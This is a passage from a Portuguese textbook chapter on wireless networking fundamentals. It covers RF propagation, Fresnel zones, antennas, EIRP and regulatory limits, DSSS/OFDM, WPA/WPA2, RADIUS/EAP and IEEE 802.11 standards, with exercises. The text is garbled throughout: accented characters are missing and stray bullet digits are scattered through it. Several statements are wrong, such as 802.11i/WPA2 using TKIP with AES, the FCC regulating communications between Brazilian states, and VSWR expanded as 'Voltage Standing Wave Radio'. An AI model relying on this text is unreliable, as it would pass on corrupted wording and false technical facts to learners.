Depois que isso ocorre, o sinal pode se dividir em vrios sinais resultantes, que podem ter intensidade insuficiente para ter utilidade para o receptor. Outra forma de espalhamento ocorre quando as ondas atravessam um meio com partculas em suspenso. Como exemplo de espalhamento, citamos uma onda atravessando uma regio com alta densidade de poeira suspensa no ar, fenmeno tpico do ambiente de certas fbricas.
Difrao
11 Fenmeno confundido com refrao onda atravessando um meio diferente. 11 Ondas de RF contornando um obstculo. 11 Compare com ondas na gua contornando um objeto na superfcie.
em torno de uma aresta
a uma abertura estreita
a uma grande distncia

Figura 1.2 A difrao.
Saiba mais
Quando as ondas passam por um espao pequeno ou em torno de um objeto pequeno, ocorre mudana na direo da onda. Esse fenmeno, que tambm pode causar perda no sinal, se chama difrao. Para que esse fenmeno ocorra, o tamanho do obstculo deve ser menor que o comprimento de onda.
A difrao ocorre em todas as formas de ondas progressivas eletromagnticas, som e gua e explica por que ondas de rdio longas contornam montanhas mais facilmente que ondas de rdio curtas.
Refrao
11 Mudana na direo das ondas ao passar por um meio diferente. 11 Mais comum em transmisses de longa distncia.
Ar gua Profundidade aparente Profundidade real Imagem do objeto

Figura 1.3 O fenmeno chamado de refrao.
Outra causa comum de perda do sinal RF a refrao, a mudana na direo das ondas ao passar de um meio para outro, com densidade diferente. Esse fenmeno pode ocorrer quando as ondas atravessam o vidro; quando, por exemplo, passam por um aqurio (ar, vidro, gua, vidro e ar novamente, sem levar em conta outros fenmenos). O ndice de refrao do meio determina a mudana no ngulo de propagao da onda.
bom lembrar que um mesmo tipo de meio pode ter ndices de refrao diferentes, e o mais comum de se constatar a diferena entre ar frio e ar quente. Refrao no um problema para pequenos ambientes, mas sim para a transmisso entre pontos distantes e sujeitos a mudanas de condies atmosfricas.
LOS
11 Line of Sight ou Linha de Visada. 11 Linha aparente que liga receptor e transmissor. 11 Considerar a curvatura da Terra para longas distncias. 11 Zona Fresnel (fra-NEL) no pode ser obstruda.
r (em metros) = 17.32 x
d 4f
(em Km) (em GHz)
r (em ps) = 72.05 x
d 4f
(em milhas) (em GHz)
Figura 1.4 LOS e a Zona Fresnel.
Como j comentamos anteriormente, obstculos entre o transmissor e o receptor podem causar diversos tipos de perda. Entretanto, no mencionamos em nenhum momento qual deve ser a rea livre de obstrues.
Considere uma linha imaginria que liga transmissor e receptor, considerando a curvatura da Terra para longas distncias. LOS essa linha imaginria que liga os dois pontos. Entretanto, apenas uma linha reta desobstruda no suficiente para ondas RF, pois se uma determinada rea em torno da LOS obstruda, o sinal RF pode sofrer interferncia. Essa rea imaginria denominada Zona Fresnel (pronuncia-se fra-NEL) e tem seu raio calcu lado da seguinte forma: R = 17,32 x d/4f, onde: d = distncia do link em Km F = frequncia em GHz r = raio em metrosEmbora obstrues de 20 a 40% da Zona Fresnel causem pouco impacto no link, recomendvel que no haja obstruo alguma nessa rea.
VSWR
11 Voltage Standing Wave Radio. 11 Ocorre quando impedncias de cabos e conectores no combinam; reflexo de corrente de volta para o transmissor. 11 No possui unidade de medida. 22 1:1 VSWR perfeito. 22 1.5:1 VSWR tpico. 11 Pode causar danos a um equipamento que no prev essa falha de instalao.
A impedncia, medida em Ohms, a medida da resistncia ao fluxo de corrente. Maior resis tncia significa menos corrente atravessando o componente, ou seja, se a corrente passa de um componente eltrico com impedncia menor (50 Ohms, por exemplo) para outro compo nente com impedncia maior (75 Ohms), o fluxo de corrente reduzido. Essa reduo no fluxo indicada por Voltage Standing Wave Ratio (VSWR), a razo entre a impedncia do dispositivo e a impedncia perfeita, denotada pelo valor 1. Um valor de VSWR perfeito 1:1, o valor tpico 1.5:1. Um valor de VSWR maior que o tpico pode causar retorno de sinal para o equipamento que, se no possuir proteo, poder ser danificado. VSWR pode ser evitada simplesmente pela combinao correta de impedncias de cabos, conectores e dispositivos. A impedncia tpica de 50 .
Antenas Ganho
11 Dispositivo passivo. 11 Transforma sinais de RF em ondas de rdio no ar. 11 Campos eltricos emitidos so chamados de raios ou lbulos. 11 Beamwidth a medida em graus do foco de radiao. 11 Categorias de antena: 22 Omnidirecional. 22 Semidirecional. 22 Altamente direcional.
Antenas so dispositivos que convertem sinais de RF em ondas de rdio no ar. So disposi tivos passivos, ou seja, no aumentam a potncia do sinal RF.
Existem trs categorias genricas de antena, cada uma delas com ganhos adequados a um determinado tipo de aplicao. Antenas omnidirecionais so as mais comuns, encontradas tanto no AP quanto nos clientes. Transmitem e recebem ondas de RF em 360 em torno do seu eixo, normalmente horizontal perpendicular superfcie da Terra. As outras categorias de antena semidirecional e altamente direcional tm aplicaes diferentes, tais como links de grandes distncias ou mesmo atividades de auditoria como wardriving e warwalking. Ao focar o raio da antena, o ganho da antena (em dBi) aumenta. O chamado beamwidth a medida desse foco, ou seja, a largura do sinal RF que a antena transmite.
Potncia de radiao
11 Intentional Radiator (IR). 11 Qualquer equipamento que irradia sinais de RF. 11 Potncia de sada, sem considerar antena. 22 Leva em considerao perda de potncia em cabos e conectores. 22 Access Point. 33 Apenas dispositivo de RF em si, cabos e conectores.
Intentional Radiator (IR) um termo que descreve um sistema responsvel por irradiar sinais de RF. No caso de um Access Point, o IR composto de todos os elementos do dispositivo (transmissor, cabos e conectores), exceto a antena. muito importante distinguir IR de EIRP, conceito que veremos a seguir. Embora rgos como FCC e Anatel no definam um IR mximo permitido, bom lembrar que, depois de combinado com uma antena, o sinal RF emitido por um IR pode facilmente ultrapassar os limites permitidos.
Equivalent Isotropically Radiated Power (EIRP)

11 IR acrescido do ganho da antena: potncia de sada de todo o conjunto. 11 WLAN exige comunicao em duas vias para associao. 22 AP enxerga o cliente. 22 Cliente enxerga o AP. 22 Para auditar redes, basta que o cliente capte os sinais dos APs e de outros clientes antena de alto ganho. Equivalent Isotropically Radiated Power (EIRP) a potncia irradiada pelo sistema de RF como um todo, ou seja, Intentional Radiator (IR) e antena. muito importante que o admi -
nistrador de uma rede sem fio conhea o valor estimado do EIRP, uma vez que rgos como a Federal Communications Commission (FCC) e a Agncia Nacional de Telecomunicaes determinam uma potncia mxima para o transmissor. A seguir, sero apresentados alguns
conceitos bsicos de matemtica RF, que sero teis no clculo desse valor. Nos EUA, a FCC determina que o EIRP no pode exceder 1 watt, para aplicaes em ambientes fechados, e 4 watts para ambientes abertos. No Brasil, a Anatel determina que na faixa de frequncia que engloba as redes 802.11b/g, o EIRP (ou seja, o IR acrescido de ganho da antena) no pode exceder 400 mW em cidades com mais de 50 mil habitantes. No difcil exceder esse limite, levando em considerao a potncia comum das interfaces de rede (50-100 mW) e o ganho obtido com antenas. As condies de uso so descritas na Resoluo 506 da Anatel, de 1 de julho de 2008.
10
Para que um cliente seja capaz de se associar a um AP, necessrio que a intensidade de sinal deste ltimo seja suficiente. Assim, um auditor que capte sinais de uma rede com o auxlio de uma antena semidirecional ser capaz de se associar rede somente se o AP tambm for capaz de captar seus sinais de RF. necessrio, portanto, que ambos os pontos se enxerguem.
Matemtica RF
11 Ganho e perda medidos em decibis (dB). 11 dBm: 1 milliwatt (1 mW) referncia de potncia absoluta. 11 dBi: mesma medida de dBm, mas tem como referncia um irradiador isotrpico (sol). 11 Escala logartmica: 22 -3dB: metade da potncia em mW. 22 +3dB: dobro da potncia em mW. 22 -10dB: um dcimo da potncia em mW. 22 +10dB: aumenta em 10 vezes a potncia em mW. 11 +23 dBm = 10 + 10 + 3 = aumenta em 200 vezes.
Um link de RF deve ter potncia compatvel com aquela determinada pelos rgos regu ladores. Para que o administrador da rede seja capaz de assegurar que isso no acon tea, necessrio que ele conhea o bsico de matemtica RF para calcular o valor do EIRP de seus APs. Ao calcular a potncia de sua WLAN, o administrador deve levar em considerao alguns fatores: 11 Perdas e ganhos de cabos e conectores; 11 Intentional Radiator (IR); 11 Potncia do dispositivo transmissor; 11 Equivalent Isotropically Radiated Power (EIRP). Alguns valores-chave devem ser conhecidos antes de se iniciar o clculo: uma antena com ganho de 3 dB duplica a potncia do IR, enquanto uma antena com ganho de 10 dB aumenta em dez vezes a potncia do IR. Dispositivos como atenuadores causam o efeito contrrio, ou conectores devem ser levadas em considerao no clculo da potncia do IR. A seguir, voc pode ver um exemplo para facilitar o entendimento: Access Point (100 mW) + cabo (~ -2 dB) + conectores (~ -1 dB) + antena de 10 dB = (100 mW/2) * 10 = 500 mW
seja, reduzem o valor de IR na mesma proporo. Lembre-se de que as perdas com cabos e
Exerccio de fixao 1 e Fundamentos de radiofrequncia

1. Quais so as causas de perda de um sinal RF?
11
2. Que fatores um administrador de rede deve levar em conta para calcular a potncia de
sua WLAN?
Tecnologias de transmisso
Espalhamento espectral (Spread Spectrum): 11 Energia mdia do sinal transmitido espalhada sobre uma largura de faixa muito maior do que a largura de faixa que contm a informao. 11 Grande largura de banda e baixa potncia de pico. Spread Spectrum uma tecnologia de transmisso que tem como caractersticas principais a grande largura de banda e a baixa potncia de pico. Sinais transmitidos por Spread Spectrum
so como rudo, difceis de serem interceptados ou demodulados sem equipamento adequado. Essa tecnologia compensa o uso de uma maior largura de faixa de transmisso com uma melhora na rejeio aos sinais interferentes de outros sistemas operando na mesma faixa de frequncia. Essa caracterstica especialmente interessante para WLANs, uma vez que outros tipos de equipamento operam na mesma frequncia, como telefones sem fio, Bluetooth e fornos de micro-ondas.
Implementaes de Spread Spectrum

FHSS: 11 802.11: 1 gerao, Bluetooth, babs eletrnicas e telefones sem fio. DSSS: 11 802.11, 802.11b e 802.11g. OFDM: 11 802.11. 11 Orthogonal Frequency Division Multiplexing (OFDM). 11 Transporte de camada fsica em alta velocidade.
Somente duas implementaes de Spread Spectrum so especificadas pela FCC: Frequency Hopping Spread Spectrum (FHSS) e Direct Sequence Spread Spectrum (DSS). Considerando que a FCC um dos principais rgos reguladores do mundo, podemos afirmar que essas so as principais tecnologias de Spread Spectrum utilizadas. Orthogonal Frequency Division Multiplexing (OFDM) no uma implementao de Spread Spectrum, mas o principal transporte de camada fsica de redes sem fio de alta velocidade.
Veremos, a seguir, conceitos bsicos das tecnologias de Spread Spectrum mais utilizadas: DSSS e OFDM.
12
Direct Sequence Spread Spectrum (DSSS)

11 Maiores taxas de transferncia que FHSS e mais sujeito a interferncias. 11 Padro IEEE para DSSS na faixa 2.4 GHz ISM: 22 1 a 2 Mbps para 802.11 (no 802.11a). 22 5.5 e 11 Mbps para 802.11b. 22 54 Mbps para 802.11g, 5.5 e 11 Mbps para compatibilidade com 802.11b.
Direct Sequence Spread Spectrum (DSSS) a tecnologia de Spread Spectrum mais utilizada, principalmente por oferecer taxas de transmisso de dados mais altas do que FHSS. Dife rente de FHSS: tecnologia usada em Bluetooth e 802.11a DSSS mais suscetvel a interfe rncias por outras aplicaes que usem as mesmas frequncias. 11 Cada canal tem 22 MHz de largura. 22 Canal 1: 33 2.401 GHz a 2.423 GHz 33 Frequncia central 2.412 GHz 11 Adicione 5 frequncia central para obter a frequncia do prximo canal. 11 Adicione e subtraia 11 para obter o intervalo de spread (espalhamento) do canal. 22 Canais 1-11 para os EUA. 22 Canais 10-13 para a Frana. 22 Canal 1-14 para o Japo. DSSS um mtodo de envio de dados no qual tanto o sistema transmissor quanto o receptor operam num conjunto de frequncias numa abrangncia de 22 MHz. A frequncia selecionada em uma interface de rede a frequncia central do canal; isso quer dizer que, para o canal 1, a frequncia central de 2.412 GHz, mas o canal inclui a faixa de frequncias que vai de 2.401 GHz a 2.423 GHz, mais e menos 11 MHz, respectivamente. A frequncia central do canal 2 obtida somando 5 frequncia central do canal 1, ou seja, 2.412 GHz + 5 MHz = 2.417 GHz. Note que, entre o canal 1 e o 2, h uma faixa de frequncias sobreposta, problema que abordaremos a seguir.
Figura 1.5 Os canais, com destaque para a no sobreposio dos canais utilizados no Brasil.
No Japo, utilizado o canal 14 (2.487 GHz). J a Europa possui 13 canais, sendo que a Frana faz uso apenas dos canais de 10 a 13. interessante observar que a interface de rede (e respectivo driver) disposio do auditor deve permitir operao no canal 14. Atacantes podem instalar Access Points inadvertidamente, usando esse canal com o objetivo de se tornarem invisveis para um administrador que monitora apenas os canais mais tpicos, de 1 a 11.
Canais
1 2 3 4 5 6 7 8 9 10 11 12 13 14
2.402 GHz
22 MHz
2.483 GHz
13
Como vimos antes, a alocao dos canais em redes 802.11b/g tem algumas caractersticas bsicas: 11 Incio nos canais 1 a 2.412 GHz, trmino nos canais 11 a 2.462 GHz; 11 Incrementos de 5 MHz (frequncia central); 11 Canais com largura de 22 MHz; 11 Canais 12 a 14 fora dos EUA. Visualizando canal a canal em um grfico, fica claro que h sobreposio entre os canais. Isso significa que, se houver um AP operando no canal 1 e outro no mesmo ambiente, ope rando no canal 2, haver colises e, consequentemente, retransmisso de pacotes. Para evitar que colises aconteam, recomenda-se a seguinte distribuio de canais na implantao de Access Points em um mesmo ambiente: 11 Apenas 3 canais no se sobrepem: 1, 6 e 11; 11 Sobreposio mnima: canais 1, 4, 8 e 11.
6 11 11
Figura 1.6 Projeto de rede WLAN com utilizao de interseco de clulas com canais no sobrepostos.
Orthogonal Frequency Division Multiplexing (OFDM)

11 IEEE 802.11a. 11 Maior throughput: cada subcanal usado em paralelo. 11 Cada canal tem 20 MHz de largura. 22 52 subcanais (DSSS tem apenas 1). 22 48 para transmisso de dados e 4 para monitorao. 11 No usa Spread Spectrum, como FHSS e DSSS. 11 Uso de banda de 5 GHz. 11 DSSS uma torneira.
11 OFDM um chuveiro. Orthogonal Frequency Division Multiplexing (OFDM), diferente de FHSS e DSSS, no usa os princpios de Spread Spectrum na comunicao. o mecanismo de transmisso de camada fsica utilizado por redes 802.11a, que opera a 5 GHz em de 2.4 GHz, como 802.11b/g. OFDM organiza a camada fsica em canais de operao que operam em paralelo. Cada canal de 20 MHz com 52 subportadoras, 4 delas usadas para monitorao. Cada um desses 48 subcanais usado para transmitir dados, o que aumenta consideravelmente a taxa de transmisso.
14
Lower and Middle U-NII Bands: 8 Carriers in 200 MHz / 20 MHz Spacing
30 MHz 30 MHz
5150
Lower Band Edge
5180
5200
5220
5240
5260
5280
5300
5320
5350
Upper Band Edge
Upper U-NII Bands: 4 Carriers in 100 MHz / 20 MHz Spacing

20 MHz 20 MHz
Figura 1.7 Imagem que ilustra as portadoras em 50 GHz.
5725
5745
5765
5785
5805
5825
Lower Band Edge
Upper Band Edge
Interseco em canais OFDM: 11 A largura de banda ISM de 5GHz no contnua. Existem duas reas: 5.15GHz 5,35GHz e 5.725GHz 5.825GHz; 11 As subportadoras dos sinais OFDM so moduladas de tal forma que, embora os ombros dos canais adjacentes se sobreponham, os sinais no interferem uns nos outros, pro vendo assim 8 canais sem sobreposio na primeira rea (5.15GHz - 5,35 GHz) e 5 canais sem sobreposio na segunda (5.725GHz - 5.825GHz). Para ilustrar melhor a diferena entre DSSS e OFDM, pense em: 11 DSSS (22 MHz) como uma torneira, um nico subcanal; 11 OFDM (20 MHz) como um chuveiro, com 52 subcanais diferentes. Vantagens: 11 Maior frequncia, menor alcance. 11 Lida melhor com multipath (mltiplas reflexes). 11 Atualmente sujeito a menor interferncia faixa pouco usada. 22 Frequncia de 5 GHZ segurana por obscuridade. Desvantagens: 11 Menor alcance. 11 Equipamentos mais caros. 11 No compatvel com 802.11b/g. Multiple-Input, Multiple-Output (MIMO) baseado nesta modulao e na frequncia de 5 GHz. Como vantagens da OFDM, podemos citar a menor possibilidade de interferncia por multipath devido s tcnicas de modulao usadas. Outras vantagens so a maior taxa de transferncia e a menor probabilidade de interferncia, uma vez que a faixa de frequncia de 5 GHz menos povoada que 2.4 GHz.
q
15
Mas OFDM tambm tem algumas desvantagens, e as principais so a abrangncia menor, comparada a redes 2.4 GHz, e a falta de interoperabilidade com equipamentos 802.11b e 802.11g. Pode-se considerar, como outra desvantagem, o preo de equipamentos 802.11a, mais alto do que os populares 802.11b e 802.11g.
Exerccio de fixao 2 e Tecnologias de transmisso

O que so DSSS e OFDM?
Organizaes e padres
Vamos conhecer agora as organizaes que definem os padres usados em redes 802.11 e 802.11a/b/g, alm de alguns padres, como WPA2, WPA2, IETF e IEEE. Organizaes: 11 US Federal Communications Commission (FCC). 11 Agncia Nacional de Telecomunicaes (Anatel). 11 Institute of Electrical and Electronics Engineers (IEEE). 11 Internet Engineering Task Force (IETF). 11 Wi-Fi Alliance. 11 European Tellecomunications Standards Institute (ETSI). Embora no seja essencial, interessante conhecer um pouco sobre as organizaes que definem os padres usados em redes 802.11 e 802.11a/b/g. Conhecendo as organizaes,
poderemos distinguir um padro (802.11b) de um selo de interoperabilidade, assim como os definidos pela Wi-Fi Alliance. 11 FCC: regulamenta comunicaes entre estados brasileiros e ligaes internacionais nos EUA. Determina que a potncia mxima de sada 1W (30 dBm), e que o EIRP mximo 4 W (36 dBm). Determina quais so as bandas livres de licena, chamadas de ISM (Industrial, Scientifical and Medical) nos EUA; 11 IEEE: desenvolve padres de camada 1 e 2 (PHY e MAC); 11 IETF: responsvel pelas camadas 3 e superiores; 11 Wi-Fi Alliance: garante a interoperabilidade de produtos. No determina padres, basicamente uma organizao de marketing. Determinou duas especificaes bem conhecidas: WPA e WPA2;
11 ETSI: desempenha na Europa o mesmo papel do IEEE.
Padres Wi-Fi Alliance

WPA
11 Wi-Fi Protected Access (pr-padro) 11 Misso de substituir WEP (Wired Equivalent Privacy). 11 Temporal Key Integrity Protocol (TKIP) como cipher suite.
16
11 RC4 como algoritmo de criptografia. 22 WEP tambm emprega RC4. 11 Baseado na verso draft de 802.11i (2003). 11 Trabalho conjunto entre o grupo de trabalho 802.11i e Wi-Fi Alliance. 11 Autenticao: 22 WPA Personal WPA-PSK. 22 WPA Enterprise 802.1x com EAP. Ao contrrio do que muitos pensam, Wi-Fi Protected Access (WPA) no um padro, mas
sim uma certificao de interoperabilidade criada pela Wi-Fi Alliance em 2003. Diferente da IEEE, que define especificaes, a Wi-Fi Alliance cuida de um programa de certificao que atesta que um dado equipamento tem interoperabilidade garantida com outros equipamentos. WPA foi criado num trabalho conjunto entre IEEE e Wi-Fi Alliance para sanar as vulnerabilidades de WEP enquanto o padro 802.11i no era concludo, fato que ocorreu somente em 2004. O padro 802.11i tambm conhecido como WPA2 e emprega o novo cipher suite TKIP, que emprega o algoritmo de criptografia Advanced Encryption Standard (AES) no lugar do RC4 utilizado em WEP. Um dos requisitos de seu desenvolvimento foi a necessidade de ser implantado como atualizao de software, ou seja, utilizando o mesmo hardware de WEP. WPA emprega Temporal Key Integrity Protocol (TKIP), que substitui WEP por um novo algo ritmo de criptografia. WPA, assim como Dynamic WEP, tambm permite que seja utilizado 802.1x associado com um mtodo Extensible Authentication Protocol (EAP) para autenti cao, o chamado WPA Enterprise. Tal como WEP, tambm possvel utilizar autenticao por chave pr-compartilhada, denominada WPA Personal ou WPA-PSK (Pre-Shared Key).
WPA2
11 Wi-Fi Protected Access 2. 11 Baseado em 802.11i ratificado (2004). 11 Implementao do cipher suite CCMP com criptografia AES. 11 Normalmente requer novo hardware.
11 Autenticao: WPA2 Enterprise ou WPA2 Personal. WPA2 outro selo Wi-Fi Alliance que muitos confundem com padro. Ele nada mais do que a garantia de interoperabilidade entre dispositivos levando em conta a verso ratificada de 802.11i, publicada em 2004. WPA, por sua vez, garantia a interoperabilidade com base na verso draft de 802.11i, publicada em 2003. WPA2 implementa o algoritmo de criptografia AES como parte do cipher suite CCMP (Counter-Mode/Cipher Block Chaining Message Authentication Code Protocol), aprovado pelo FIPS (Federal Information Processing Standard) como algoritmo para proteo de dados sigilosos aprovado para aplicaes do governo norte-americano. Produtos certificados como WPA2 so compatveis com WPA, mas o inverso nem sempre ocorre WPA2 exige mais recursos de hardware para processar o algoritmo Advanced Encryption Standard (AES). Assim como WPA, WPA2 oferece dois modos de operao: WPA2-PSK, tambm conhecido como WPA2 Personal, e WPA2 Enterprise. WPA2 por si s um mecanismo de segurana pouco explorado, associado a 802.1x e um bom mtodo EAP, como EAP-TLS, torna-se a opo mais segura de rede sem fio hoje.
22 AES mais recursos de processamento que RC4.
17
Padres IETF
RADIUS: 11 RFC 2138: Remote Authentication Dial In User Service (RADIUS) e RFC 2139 RADIUS Accounting. 11 AP: Network Access Server (NAS) habilitado com 802.1x. 11 Protocolo Authentication, Authorization, Accounting (AAA): protocolo de autenticao utilizado por 802.1x. EAP: 11 RFC 3748: Extensible Authentication Protocol. 11 Um dos esquemas de autenticao usado por RADIUS para verificar credenciais. 11 Alguns protocolos: PEAP, EAP-TLS etc. Dois padres da IETF so muito importantes em redes seguras: RADIUS e EAP. Remote Authentication Dial In User Service (RADIUS) um protocolo (Authentication,
Authorization and Accounting AAA) para aplicaes como acesso rede ou mobilidade IP. Foi criado originalmente para autenticar usurios de um Internet Service Provider (ISP) conectando por modem, DSL ou cabo. O acesso porta s concedido aps a autenti cao, assim como ocorre em um Access Point. Extensible Authentication Protocol (EAP) um framework de autenticao adotado pelos padres WPA (TKIP/RC4) e WPA2 (CCMP/AES) para prover autenticao. EAP prov meca nismos de autenticao, denominados mtodos EAP. Os mais comuns em redes sem fio so: 11 EAP-TLS; 11 EAP-SIM; 11 EAP-AKA; 11 PEAP; 11 LEAP; 11 EAP-TTLS. Neste captulo, veremos com mais detalhes EAP-TLS, um dos mtodos mais seguros atual mente. EAP usado pelo AP, que na arquitetura RADIUS um Network Access Server (NAS). Um mtodo EAP pode fornecer um mecanismo seguro de negociao da Pairwise Master Key (PMK), usada na Captulo com TKIP (WPA) ou CCMP (WPA2).
Framework Em desenvolvimento de software, uma abstrao que une cdigos comuns entre vrios projetos de software provendo uma funcionalidade genrica. Um framework pode atingir uma funcionalidade especfica, por configurao, durante a programao de uma aplicao.
Padres IEEE
Camada fsica (PHY): 11 802.11 (2.4 GHz).
11 802.11a (54 Mbps a 5 GHz). 11 802.11b (11 Mbps a 2.4 GHz). 11 802.11g (54 Mbps a 2.4 GHz). 11 802.11n (600 Mbps a 2.4 GHz). Como j vimos na conceituao de DSSS, a camada fsica especificada pelos padres IEEE 802.11, que determinam frequncia de operao e taxa de transferncia, entre outros parmetros. A seguir, citamos outros padres 802.11 que apiam a operao dos padres que determinam a operao das interfaces de rede, os conhecidos 802.11, 802.11a, 802.11b e 802.11g e o futuro 802.11n.
18
Saiba mais sobre o padro IEEE 802.11 em Official IEEE 802.11 Working Group Project Timelines - 2013-0322 e IEEE P802.11 Task Group N Meeting Update.
O padro 802.11n a especificao de IEEE para a prxima gerao de interfaces 802.11, cuja verso draft foi aprovada em janeiro de 2006. Esse padro emprega uma tecnologia que aumenta a taxa de transferncia fsica pelo uso de mltiplas antenas, tanto no transmissor quanto no receptor. Essa tecnologia chamada de Multiple-Input Multiple-Output (MIMO) e usa transmisso e recepo de mltiplos sinais para aumentar o desempenho da rede. Embora j existam equipamentos baseados no draft de 802.11n sendo comercializados, bom lembrar que j foram constatados problemas de compatibilidade entre equipamentos de fabricantes diferentes, bem como interferncia em redes 802.11b e 802.11g e alcance excessivo (400 metros), demasiado se for comparado ao alcance mdio de 30 metros encontrado na maioria dos equipamentos 802.11b e 802.11g. A verso final da especificao esperada para novembro de 2009.
Padres IEEE 802.11

11 802.11i: melhorias para segurana (CCMP e TKIP). 11 802.11k: Radio Resource Management. 11 802.11m: Corrects and clarifications to IEEE 802.11-1999. 11 802.11p: Wireless Access in Vehicular Environments (WAVE). 11 802.11r: Fast Roaming. 11 802.11s: Wireless Mesh Networks. 11 802.11t: Wireless Performance Prediction. 11 802.11u: Internetworking with External Networks. 11 802.11v: Wireless Network Management. 11 802.11i: padro j ratificado para melhor segurana. Define o protocolo TKIP para per-
mitir que hardwares mais antigos permitam upgrade (base da certificao WPA) e Robust Secure Networks (RSN), dirigido a novos hardwares devido aos requerimentos de AES. 11 802.11k : padroniza a maneira como as interfaces lidam com dados de nvel de sinal e rudo, importantes no processo de roaming associao a outro AP sem que a conexo seja interrompida. Hoje, fabricantes tratam do evento de roaming de formas diferentes.
11 802.11m: documentao das melhorias e funes que foram agregadas a redes 802.11-1999 pelos fabricantes, mas no incorporadas especificao. Tambm chamada de 802.11ma. 11 802.11p: Wireless Access in Vehicular Environments (WAVE) uma especificao de camada fsica para aplicaes veiculares na faixa de 5.9 GHz. Uma das aplicaes para essa especificao a cobrana de pedgio de veculos, previamente equipados com sensores que implementem esse padro. 11 802.11w : o grupo de trabalho 802.11w visa estender a proteo de dados aos quadros de gerenciamento, resolvendo assim alguns problemas de segurana. Envolve mudanas por software nos firmwares de clientes e access points. Prov proteo de trs formas:
1. Proteo de quadros de gerenciamento broadcast, usando um Message Integrity Code
(MIC) para proteger esses quadros contra forjamento;

2. Proteo de quadros de gerenciamento unicast evitando alguns ataques de Denial of
Service (DoS);
3. Proteo de frames de associao e desassociao, provendo maneiras do cliente
verificar se o frame vlido.
19
Outros padres IEEE

11 802.11c: Bridge Operation Procedures. 11 802.11d: operao sob outras regulaes. 11 802.11e: QoS e multimdia. 11 802.11h: Spectrum and Transmit Power. 11 802.11j: operao no Japo a 4.9 e 5.1 GHz. 11 802.11p: Wireless Access in Vehicular Environments (WAVE). 11 802.11w: Protection of Management Frames. 11 802.11y: novo padro para a banda 3.65-3.7 GHz ISM.
Padres 802.11 inexistentes

11 802.11l: confuso entre L e 1; 11 802.11o: confuso com zero; 11 802.11q: confuso com 802.1q; 11 802.11x : mesmo que 802.11a/b/g (evite essa denominao); 11 802.11z: erro de digitao em um artigo da OReilly muito referenciado que, na realidade, tratava de 802.11a.
Tendncias
Convergncias. 11 VoIP Phones: 22 Wi-Fi + Skype, Wi-Fi + SIP. 22 Migrao completa da telefonia convencional para certos perfis de usurio. 11 Celular + Wi-Fi. 22 T-Mobilie hotspot@home. 11 Media Players: 22 Microsoft Zune, Sandisk Sansa Connect, Apple iPod touch e iPhone.
Wi-Fi e telefonia IP
A empresa Skype introduziu em 2004 uma tecnologia de VoIP baseada em P2P (Peer-to-Peer), que trouxe aos usurios comuns a telefonia IP de uma maneira mais fcil. Essa populari zao de VoIP veio ao encontro da popularizao de Wi-Fi, e possibilitou a associao com telefones IP sem fio. Embora Skype seja o sistema de VoIP mais utilizado, h tambm telefones IP sem fio base Segurana em Redes sem Fio
ados em Session Initiation Protocol (SIP): 11 Belkin Wi-Fi Phone for Skype F1PP000GN-SK: http://www.belkin.com/ 11 T-Mobile @Home: http://www.t-mobile.com/ 11 Sansa Connect: http://www.sandisk.com/sansa/
20
Wi-Fi a bordo
11 Acesso dentro de avies. 11 Empresas: AirCell, Row 44, On Air, Aeromobile e Panasonic Avionics.
w 11 Wi-Fi e celular em avies no Brasil em 2009.

Mais informaes em: On Air Inflight Internet and mobile telephony on Boeing and Airbus aircraft: http://www.onair.aero/
A TAM e a On Air anunciaram em setembro de 2008 que em 2009 os avies Airbus A320 da TAM passariam a contar com cobertura total de voz, SMS e Blackberry. Wi-Fi faz parte do pacote de servios da On Air. Em outubro de 2010, a TAM comeou a oferecer acesso telefonia mvel (voz, SMS e dados) em uma de suas aeronaves, e a previso de ampliao desse servio seria para o segundo semestre de 2011. Porm, ainda no h previso para habilitao de redes Wi-Fi nas aeronaves da TAM.
Padro 802.11n
11 TGn - 802.11n Enhancements for Higher Throughput. 11 Prxima gerao de redes Wi-Fi. 11 Multiple-Input, Multiple-Output (MIMO). 22 600 Mbps. 11 Revoluo na camada fsica (PHY), mltiplas antenas tanto na transmisso quanto na recepo. 11 Tira proveito de multipath. O objetivo do TGn com 802.11n a introduo de redes com velocidades de 100 Mbps pelo uso de novas tecnologias de transmisso na camada fsica. Embora os APs, atualmente, normalmente tenham mais de uma antena, h apenas um conjunto de componentes para
Aprovao do draft de IEEE 802.11n

11 Draft proposto pelo EWC e aprovado pelo IEEE. 11 Pre-N e compatveis com o draft 802.11n. 11 Risco de incompatibilidade futura. 11 Abril de 2006.
w 802.11n.
Saiba mais no Enhanced Wireless Consortium (EWC): http://www. enhancedwirelessconsortium.org
11 Lynksys WRT300N Wireless-N.
11 Verso final esperada para novembro de 2009. Em 19 de janeiro de 2006, durante a reunio do grupo de trabalho IEEE 802.11, o 802.11n Task Group (TGn) aprovou a proposta do Enhanced Wireless Consortium (EWC). Como era esperado, diversos fabricantes j lanaram produtos baseados nesse draft.
Uma curiosidade: a pronncia correta My Moe, no Mee Moe. Essa pronncia foi definida como padro numa sesso plenria da IEEE em 2004, aps votao: 69 votos a favor de My Moe, 24 a favor de Mee Moe e outros 25 que se abstiveram de votar.
processar o sinal RF ou RF Chain. O transmissor tem um nico RF chain de sada e o receptor tem um nico RF chain de entrada. Com Multiple-Input/Multiple-Output (MIMO), cada RF chain capaz de transmitir e receber simultaneamente, o que aumenta consideravelmente a velocidade de transmisso da camada fsica (PHY). Alm disso, o processamento simultneo do receptor trata melhor de problemas com interferncia por multipath.
21
22
Roteiro de Atividades 1
Atividade 1.1 Matemtica RF
Suponha que precisamos configurar uma WLAN. Nossa empresa decidiu cortar custos e determinou que estruturssemos a WLAN em Access Points baseados em Linux. Antes de configur-los (o que aprenderemos a fazer no prximo Captulo), teremos de instalar a interface WLAN, cabos e antena. Temos os seguintes equipamentos: 11 Uma interface de rede com potncia de 200 mW; 11 Dois conectores de cabo; 11 Antena de 25 dBi. Considerando que 1.000 mW equivalente a 1 W e que cada conector insere 1 dBi de perda, calcule a Effective Isotropic Radiated Power (EIRP) do sistema. Consulte o material do Cap tulo terico correspondente para efetuar esse clculo.
Atividade 1.2 rgos reguladores

Consulte a Resoluo 506 da Agncia Nacional de Telecomunicaes (Anatel), que inclui o Regulamento sobre Equipamentos de Radiocomunicao de Radiao Restrita, e conclua se o EIRP do seu sistema est de acordo com as normas da Anatel. Caso no esteja, proponha pelo menos duas solues que resolvam o problema e deixem seu sistema em conformi dade com a norma estabelecida.
Atividade 1.3 IEEE 802.11n

